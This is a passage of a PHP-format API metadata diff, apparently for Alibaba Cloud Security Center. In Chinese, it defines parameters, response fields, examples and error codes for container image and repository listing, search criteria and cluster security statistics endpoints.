**name**：检索项'."\n" + .'- **value**：检索项值'."\n" + .'- **logicalExp**：多个检索项值生效的逻辑关系。取值：'."\n" + .' - **OR**：表示多个检索项值之间是**或**的关系。'."\n" + .' - **AND**：表示多个检索项值之间是**与**的关系。'."\n" + .'> 您可以调用[DescribeImageRepoCriteria](~~DescribeImageRepoCriteria~~)接口查询支持的搜索条件。', + 'type' => 'string', + 'required' => false, + 'example' => '[{"name":"instanceId","value":"390100182","logicalExp":"AND"}]', + ], + ], + [ + 'name' => 'LogicalExp', + 'in' => 'query', + 'schema' => [ + 'description' => '设置多个搜索条件间生效的逻辑关系。取值：'."\n" + ."\n" + .'- **OR**：表示多个搜索条件之间是**或**的关系。'."\n" + .'- **AND**：表示多个搜索条件之间是**与**的关系。', + 'type' => 'string', + 'required' => false, + 'example' => 'OR', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '从返回结果中的第几页开始显示。起始值为**1**。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'Scanned', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像是否已扫描。取值：'."\n" + .'- **true**：已处理'."\n" + .'- **false**：未处理', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'BE120DAB-F4E7-4C53-ADC3-A97578ABF384', + ], + 'PageInfo' => [ + 'description' => '查询结果的分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的镜像信息的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的镜像总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '69', + ], + 'Count' => [ + 'description' => '返回结果的当前页显示镜像得数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '4', + ], + ], + ], + 'ImageInstanceList' => [ + 'description' => '镜像信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '镜像信息。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '镜像状态。取值：'."\n" + .'- **NORMAL**：正常', + 'type' => 'string', + 'example' => 'NORMAL', + ], + 'Digest' => [ + 'description' => '镜像digest值。', + 'type' => 'string', + 'example' => 'a5ccdd9b166b67e02954aa9b618fe19b7968bd56a15463d2ad7f2643ba5b****', + ], + 'RegistryType' => [ + 'description' => '镜像类型。取值：'."\n" + .'- **acr**：acr。'."\n" + .'- **harbor**：harbor。'."\n" + .'- **quay**：quay。'."\n" + .'- **CI/CD**：CICD仓类型。', + 'type' => 'string', + 'example' => 'acr', + ], + 'Tag' => [ + 'description' => '镜像的标签。', + 'type' => 'string', + 'example' => 'mysql_5.7', + ], + 'ImageUpdate' => [ + 'description' => '镜像更新的时间戳，单位为毫秒。', + 'type' => 'string', + 'example' => '1600069948849', + ], + 'RepoType' => [ + 'description' => '仓库类型，取值：'."\n" + ."\n" + .'- **private**：私有仓库'."\n" + .'- **public**：公开仓库', + 'type' => 'string', + 'example' => 'private', + ], + 'ImageSize' => [ + 'description' => '镜像的大小。单位MB。', + 'type' => 'string', + 'example' => '1604487690', + ], + 'HcStatus' => [ + 'description' => '存在基线风险状态。取值：'."\n" + ."\n" + .'- **NO**：不存在'."\n" + .'- **YES**：存在', + 'type' => 'string', + 'example' => 'NO', + ], + 'VulCount' => [ + 'description' => '镜像中存在漏洞数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'ImageId' => [ + 'description' => '镜像的ID。', + 'type' => 'string', + 'example' => 'c20987f18b130f9d144c9828df630417e2a9523148930dc3963e9d0dab30****', + ], + 'Endpoints' => [ + 'description' => '镜像资源地址。', + 'type' => 'string', + 'example' => '[]', + ], + 'RiskStatus' => [ + 'description' => '是否存在风险 。取值：'."\n" + ."\n" + .'- **NO**：无风险'."\n" + .'- **YES**：有风险', + 'type' => 'string', + 'example' => 'NO', + ], + 'ImageCreate' => [ + 'description' => '镜像创建的时间戳，单位为毫秒。', + 'type' => 'string', + 'example' => '1600069948849', + ], + 'VulStatus' => [ + 'description' => '镜像是否存在漏洞。取值：'."\n" + .'- **YES**：存在漏洞'."\n" + .'- **NO**：不存在漏洞', + 'type' => 'string', + 'example' => 'NO', + ], + 'AlarmStatus' => [ + 'description' => '镜像是否存在安全告警。取值：'."\n" + .'- **YES**：存在安全告警'."\n" + .'- **NO**：不存在安全告警', + 'type' => 'string', + 'example' => 'NO', + ], + 'ScaProgress' => [ + 'description' => '镜像的扫描进度。取值范围：0~100。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'InstanceId' => [ + 'description' => '镜像资产实例ID。', + 'type' => 'string', + 'example' => '39010****', + ], + 'RegionId' => [ + 'description' => '镜像所在区域的ID。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'ScaStatus' => [ + 'description' => '镜像扫描状态。取值：'."\n" + .'- **INIT**：镜像扫描待启动'."\n" + .'- **START**：镜像扫描已启动'."\n" + .'- **MESSAGE_SEND**：镜像扫描消息已发出'."\n" + .'- **START_RUN**：镜像分析任务启动'."\n" + .'- **DOWNLOAD**：镜像扫描已下载'."\n" + .'- **PRE_ANALYZER**：镜像预分析已启动'."\n" + .'- **WEB\\_SHELL_ANALYZER**：镜像WebShell分析已完成'."\n" + .'- **CVE_ANALYZER**：镜像CVE分析已完成'."\n" + .'- **BIN_ANALYZER**：镜像二进制分析已完成'."\n" + .'- **OTHER_ANALYZER**：镜像拓展分析已完成'."\n" + .'- **SUCCESS**：镜像扫描已完成'."\n" + .'- **PRE\\_ANALYZER_SUCCESS**：镜像预分析已完成'."\n" + .'- **FAIL**：镜像扫描已失败'."\n" + .'- **TIMEOUT**：镜像扫描已超时', + 'type' => 'string', + 'example' => 'SUCCESS', + ], + 'Uuid' => [ + 'description' => '服务器UUID。', + 'type' => 'string', + 'example' => '12f80307-60aa-4efa-863a-56d72fb****', + ], + 'RepoId' => [ + 'description' => '镜像仓库ID。', + 'type' => 'string', + 'example' => 'f2b86d20bf0855af6aa268ce90fd****', + ], + 'HcCount' => [ + 'description' => '基线风险数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'ScaResult' => [ + 'description' => '镜像扫描结果错误码。取值：'."\n" + ."\n" + .'- **TASK\\_NOT_EXISTS**：任务不存在'."\n" + .'- **TASK\\_NOT\\_SUPPORT_REGION**：任务不支持该地域'."\n" + .'- **forbid\\_create\\_repeat_task**：不允许重复的任务', + 'type' => 'string', + 'example' => 'TASK_NOT_SUPPORT_REGION', + ], + 'RepoName' => [ + 'description' => '镜像仓库名称。', + 'type' => 'string', + 'example' => 'sas-script-test', + ], + 'AlarmCount' => [ + 'description' => '镜像存在安全告警数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'RepoNamespace' => [ + 'description' => '镜像仓库的命名空间。', + 'type' => 'string', + 'example' => 'N/A', + ], + 'Deployed' => [ + 'description' => '镜像是否已部署。取值：'."\n" + .'- **0**：未部署'."\n" + .'- **1**：已部署', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'LastScanTime' => [ + 'description' => '最新扫描的时间戳，单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1721363159000', + ], + 'SourceBizTag' => [ + 'title' => '镜像业务用途标签。', + 'description' => '镜像业务用途标签。', + 'type' => 'string', + 'example' => 'PAI', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"BE120DAB-F4E7-4C53-ADC3-A97578ABF384\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 69,\\n \\"Count\\": 4\\n },\\n \\"ImageInstanceList\\": [\\n {\\n \\"Status\\": \\"NORMAL\\",\\n \\"Digest\\": \\"a5ccdd9b166b67e02954aa9b618fe19b7968bd56a15463d2ad7f2643ba5b****\\",\\n \\"RegistryType\\": \\"acr\\",\\n \\"Tag\\": \\"mysql_5.7\\",\\n \\"ImageUpdate\\": \\"1600069948849\\",\\n \\"RepoType\\": \\"private\\",\\n \\"ImageSize\\": \\"1604487690\\",\\n \\"HcStatus\\": \\"NO\\",\\n \\"VulCount\\": 0,\\n \\"ImageId\\": \\"c20987f18b130f9d144c9828df630417e2a9523148930dc3963e9d0dab30****\\",\\n \\"Endpoints\\": \\"[]\\",\\n \\"RiskStatus\\": \\"NO\\",\\n \\"ImageCreate\\": \\"1600069948849\\",\\n \\"VulStatus\\": \\"NO\\",\\n \\"AlarmStatus\\": \\"NO\\",\\n \\"ScaProgress\\": 100,\\n \\"InstanceId\\": \\"39010****\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"ScaStatus\\": \\"SUCCESS\\",\\n \\"Uuid\\": \\"12f80307-60aa-4efa-863a-56d72fb****\\",\\n \\"RepoId\\": \\"f2b86d20bf0855af6aa268ce90fd****\\",\\n \\"HcCount\\": 0,\\n \\"ScaResult\\": \\"TASK_NOT_SUPPORT_REGION\\",\\n \\"RepoName\\": \\"sas-script-test\\",\\n \\"AlarmCount\\": 0,\\n \\"RepoNamespace\\": \\"N/A\\",\\n \\"Deployed\\": 1,\\n \\"LastScanTime\\": 1721363159000,\\n \\"SourceBizTag\\": \\"PAI\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取镜像信息', + ], + 'DescribeImageRepoDetailList' => [ + 'summary' => '获取镜像仓库信息列表。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasA217JR', + ], + ], + 'parameters' => [ + [ + 'name' => 'Criteria', + 'in' => 'query', + 'schema' => [ + 'description' => '设置搜索资产的条件。该参数JSON格式，包含以下字段：'."\n" + .'- **name**：检索项'."\n" + .'- **value**：检索项值'."\n" + .'- **logicalExp**：多个检索项值生效的逻辑关系。取值：'."\n" + .' - **OR**：表示多个检索项值之间是**或**的关系。'."\n" + .' - **AND**：表示多个检索项值之间是**与**的关系。'."\n" + .'> 您可以调用[DescribeImageRepoCriteria](~~DescribeImageRepoCriteria~~)接口查询支持的搜索条件。', + 'type' => 'string', + 'required' => false, + 'example' => '[{"name":"vulStatus","value":"YES","logicalExp":"AND"}]', + ], + ], + [ + 'name' => 'LogicalExp', + 'in' => 'query', + 'schema' => [ + 'description' => '设置多个搜索条件间生效的逻辑关系。取值：'."\n" + .'- **OR**：表示多个条件间为**或**的关系。'."\n" + .'- **AND**：表示多个条件间为**与**的关系。', + 'type' => 'string', + 'required' => false, + 'example' => 'OR', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '0B48AB3C-84FC-424D-A01D-B9270EF46038', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '镜像仓的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '19', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + ], + ], + 'ImageRepoResponses' => [ + 'description' => '镜像仓信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '镜像仓信息。', + 'type' => 'object', + 'properties' => [ + 'Endpoints' => [ + 'description' => '镜像仓地址。', + 'type' => 'string', + 'example' => '['."\n" + .' {'."\n" + .' "domains": ['."\n" + .' "****.cn-shenzhen.cr.aliyuncs.com"'."\n" + .' ],'."\n" + .' "type": "internet"'."\n" + .' },'."\n" + .' {'."\n" + .' "domains": ['."\n" + .' "****.cn-shenzhen.cr.aliyuncs.com"'."\n" + .' ],'."\n" + .' "type": "intranet"'."\n" + .' },'."\n" + .' {'."\n" + .' "domains": ['."\n" + .' "****.cn-shenzhen.cr.aliyuncs.com"'."\n" + .' ],'."\n" + .' "type": "vpc"'."\n" + .' }'."\n" + .']', + ], + 'RiskStatus' => [ + 'description' => '镜像仓是否存在安全风险。取值：'."\n" + ."\n" + .'- **YES**：存在风险。'."\n" + .'- **NO**：不存在风险。', + 'type' => 'string', + 'example' => 'NO', + ], + 'VulStatus' => [ + 'description' => '镜像仓是否存在漏洞。取值：'."\n" + .'- **YES**：存在漏洞。'."\n" + .'- **NO**：不存在漏洞。', + 'type' => 'string', + 'example' => 'NO', + ], + 'AlarmStatus' => [ + 'description' => '镜像仓是否存在安全告警。取值：'."\n" + .'- **YES**：存在安全告警。'."\n" + .'- **NO**：不存在安全告警。', + 'type' => 'string', + 'example' => 'NO', + ], + 'RegistryType' => [ + 'description' => '镜像仓库的类型。取值：'."\n" + .'- **acr**：acr。'."\n" + .'- **harbor**：harbor。'."\n" + .'- **quay**：quay。'."\n" + .'- **CI/CD**：CICD仓类型。', + 'type' => 'string', + 'example' => 'acr', + ], + 'InstanceId' => [ + 'description' => '镜像资产实例ID。', + 'type' => 'string', + 'example' => 'i-uf6fsg6xlmorug5****', + ], + 'RegionId' => [ + 'description' => '镜像实例所在的地域ID。', + 'type' => 'string', + 'example' => 'cn-shanghai', + ], + 'RepoId' => [ + 'description' => '镜像仓库的ID。', + 'type' => 'string', + 'example' => 'crr-2chlzf47w2rk****', + ], + 'HcCount' => [ + 'description' => '镜像仓基线风险数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'VulCount' => [ + 'description' => '镜像仓中存在漏洞数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'HcStatus' => [ + 'description' => '镜像仓是否存在基线风险。取值：'."\n" + ."\n" + .'- **NO**：不存在。'."\n" + .'- **YES**：存在。', + 'type' => 'string', + 'example' => 'NO', + ], + 'AlarmCount' => [ + 'description' => '镜像仓安全告警数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'RepoName' => [ + 'description' => '镜像仓库的名称。', + 'type' => 'string', + 'example' => 'zeus', + ], + 'RepoNamespace' => [ + 'description' => '镜像仓库的命名空间。', + 'type' => 'string', + 'example' => 'test-dev', + ], + 'ImageCount' => [ + 'description' => '镜像数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'HasRiskImageCount' => [ + 'description' => '镜像仓下存在风险的镜像数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'SourceBizTag' => [ + 'title' => '镜像业务用途标签。', + 'description' => '镜像业务用途标签。', + 'type' => 'string', + 'example' => 'PAI', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"0B48AB3C-84FC-424D-A01D-B9270EF46038\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 19,\\n \\"Count\\": 2\\n },\\n \\"ImageRepoResponses\\": [\\n {\\n \\"Endpoints\\": \\"[\\\\n {\\\\n \\\\\\"domains\\\\\\": [\\\\n \\\\\\"****.cn-shenzhen.cr.aliyuncs.com\\\\\\"\\\\n ],\\\\n \\\\\\"type\\\\\\": \\\\\\"internet\\\\\\"\\\\n },\\\\n {\\\\n \\\\\\"domains\\\\\\": [\\\\n \\\\\\"****.cn-shenzhen.cr.aliyuncs.com\\\\\\"\\\\n ],\\\\n \\\\\\"type\\\\\\": \\\\\\"intranet\\\\\\"\\\\n },\\\\n {\\\\n \\\\\\"domains\\\\\\": [\\\\n \\\\\\"****.cn-shenzhen.cr.aliyuncs.com\\\\\\"\\\\n ],\\\\n \\\\\\"type\\\\\\": \\\\\\"vpc\\\\\\"\\\\n }\\\\n]\\",\\n \\"RiskStatus\\": \\"NO\\",\\n \\"VulStatus\\": \\"NO\\",\\n \\"AlarmStatus\\": \\"NO\\",\\n \\"RegistryType\\": \\"acr\\",\\n \\"InstanceId\\": \\"i-uf6fsg6xlmorug5****\\",\\n \\"RegionId\\": \\"cn-shanghai\\",\\n \\"RepoId\\": \\"crr-2chlzf47w2rk****\\",\\n \\"HcCount\\": 0,\\n \\"VulCount\\": 0,\\n \\"HcStatus\\": \\"NO\\",\\n \\"AlarmCount\\": 0,\\n \\"RepoName\\": \\"zeus\\",\\n \\"RepoNamespace\\": \\"test-dev\\",\\n \\"ImageCount\\": 3,\\n \\"HasRiskImageCount\\": 2,\\n \\"SourceBizTag\\": \\"PAI\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取镜像仓库信息列表', + ], + 'DescribeImageRepoCriteria' => [ + 'summary' => '获取镜像仓库支持检索项。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'Value', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像仓库检索值。'."\n" + ."\n" + .'> 该参数支持镜像ID、tag、镜像实例ID、镜像仓名称、镜像仓命名空间、镜像仓ID、镜像仓地域、digest、镜像仓库的类型的模糊搜索。', + 'type' => 'string', + 'required' => false, + 'example' => '2.0.2', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F35F45B0-5D6B-4238-BE02-A62D0760E840', + ], + 'CriteriaList' => [ + 'description' => '镜像仓支持检索项信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '镜像仓支持检索项信息。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '查询条件的类型。取值：'."\n" + ."\n" + .'- **input**：需要手动输入查询字段。'."\n" + .'- **select**：需要从下拉列表中选择查询条件的子类型。', + 'type' => 'string', + 'example' => 'select', + ], + 'Name' => [ + 'description' => '检索条件的名称。取值如下：'."\n" + ."\n" + .'- **instanceId**：镜像实例ID。'."\n" + .'- **repoName**：镜像仓名称。'."\n" + .'- **repoId**：镜像仓ID。'."\n" + .'- **repoNamespace**：镜像仓命名空间。'."\n" + .'- **regionId**：镜像地域。'."\n" + .'- **vulStatus**：是否存在漏洞。'."\n" + .'- **alarmStatus**：是否存在安全告警。'."\n" + .'- **hcStatus**：是否存在基线风险。'."\n" + .'- **riskStatus**：是否存在风险。'."\n" + .'- **registryType**：镜像仓库的类型。'."\n" + .'- **imageId**：镜像ID。'."\n" + .'- **tag**：镜像标签。', + 'type' => 'string', + 'example' => 'vulStatus', + ], + 'Values' => [ + 'description' => '**Type**（查询条件的类型）为**select**（选择型）时，可选项的值。'."\n" + .'> **Type**（查询条件的类型）为**input**（输入型）时，该参数返回值为空。', + 'type' => 'string', + 'example' => 'NO,YES', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F35F45B0-5D6B-4238-BE02-A62D0760E840\\",\\n \\"CriteriaList\\": [\\n {\\n \\"Type\\": \\"select\\",\\n \\"Name\\": \\"vulStatus\\",\\n \\"Values\\": \\"NO,YES\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取镜像仓库支持检索项', + ], + 'GetClusterSuspEventStatistics' => [ + 'summary' => '获取容器安全事件的统计。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + 'http', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的容器集群的ID。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'c6094b964bfc145fe9e418c869e7e****', + ], + ], + [ + 'name' => 'From', + 'in' => 'query', + 'schema' => [ + 'description' => '请求来源标识，固定为sas。', + 'type' => 'string', + 'required' => false, + 'example' => 'sas', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'SuspStatistics' => [ + 'description' => '按等级区分的告警数量。', + 'type' => 'object', + 'properties' => [ + 'Serious' => [ + 'description' => '等级为紧急的告警数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Suspicious' => [ + 'description' => '等级为可疑的告警数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'Remind' => [ + 'description' => '等级为提醒的告警数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'ACF97412-FD09-4D1F-994F-34DF12BR****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'Service error, please try again later.', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"SuspStatistics\\": {\\n \\"Serious\\": 1,\\n \\"Suspicious\\": 2,\\n \\"Remind\\": 1\\n },\\n \\"RequestId\\": \\"ACF97412-FD09-4D1F-994F-34DF12BR****\\"\\n}","type":"json"}]', + 'title' => '获取容器安全事件的统计', + ], + 'GetClusterCheckItemWarningStatistics' => [ + 'summary' => '获取容器集群基线检查问题个数。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + 'http', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的容器集群的ID。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~182997~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'cd49575861a3044d49c954e4b3911****', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器UUID。'."\n" + .'> 调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'ae1527a9-2308-46ab-b10a-48ae7ff7****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => '结果数据。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '基线检查按照高中低等级统计数据。', + 'type' => 'object', + 'properties' => [ + 'LowWarningCount' => [ + 'title' => '低危检查项数量', + 'description' => '低危检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'MediumWarningCount' => [ + 'title' => '中危检查项数量', + 'description' => '中危检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'HighWarningCount' => [ + 'title' => '高危检查项数量', + 'description' => '高危检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => 'C2B285A3-3493-5C5F-A224-4CCE4BFC****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"LowWarningCount\\": 1,\\n \\"MediumWarningCount\\": 2,\\n \\"HighWarningCount\\": 3\\n },\\n \\"RequestId\\": \\"C2B285A3-3493-5C5F-A224-4CCE4BFC****\\"\\n}","type":"json"}]', + 'title' => '获取容器集群基线检查问题个数', + ], + 'DescribeGroupedContainerInstances' => [ + 'summary' => '根据分组类型查询对应的容器列表信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'Criteria', + 'in' => 'query', + 'schema' => [ + 'description' => '设置搜索资产的条件。该参数为JSON格式，多个条件之间使用半角逗号（,）分隔。例如：`[{"name":"riskStatus","value":"YES"},{"name":"riskLevel","value":"2"}]`。'."\n" + .'> 支持使用实例ID、实例名称、所属VPC ID、地域、公网IP地址等条件搜索资产。您可以调用[DescribeCriteria](~~DescribeCriteria~~)查询支持的搜索条件。', + 'type' => 'string', + 'required' => false, + 'example' => '[{"name":"riskStatus","value":"YES"},{"name":"riskLevel","value":"2"}]', + ], + ], + [ + 'name' => 'LogicalExp', + 'in' => 'query', + 'schema' => [ + 'description' => '设置多个搜索条件间生效的逻辑关系。取值：'."\n" + .'- **OR**：表示多个条件间为**或**的关系。'."\n" + .'- **AND**：表示多个条件间为**与**的关系。', + 'type' => 'string', + 'required' => false, + 'example' => 'OR', + ], + ], + [ + 'name' => 'GroupField', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的分组类型。取值：'."\n" + .'- **pod**：容器组。'."\n" + .'- **appName**：应用名称。'."\n" + .'- **namespace**：命名空间。'."\n" + .'- **clusterId**：集群ID。'."\n" + .'- **image**：镜像。', + 'type' => 'string', + 'required' => true, + 'example' => 'pod', + ], + ], + [ + 'name' => 'FieldValue', + 'in' => 'query', + 'schema' => [ + 'description' => '设置不同分组类型的搜索条件。根据GroupField选择的类型您需要设置以下搜索条件：'."\n" + .'- **GroupField**选择为**pod**：指定要查询的容器组名称。'."\n" + .'- **GroupField**选择为**appName**：指定要查询的应用名称。'."\n" + .'- **GroupField**选择为**namespace**：指定要查询的命名空间。'."\n" + .'- **GroupField**选择为**clusterId**：指定要查询的集群ID。'."\n" + .'- **GroupField**选择为**image**：指定要查询的镜像名称。'."\n" + .'> 以上搜索条件均支持模糊搜索。', + 'type' => 'string', + 'required' => false, + 'example' => 'cas-adad-qeqwe', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '设置分页查询时，每页显示的容器资产的数量。默认值为**20**，表示每页显示20条容器资产信息。'."\n" + .'> 建议PageSize取值不要为空。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' 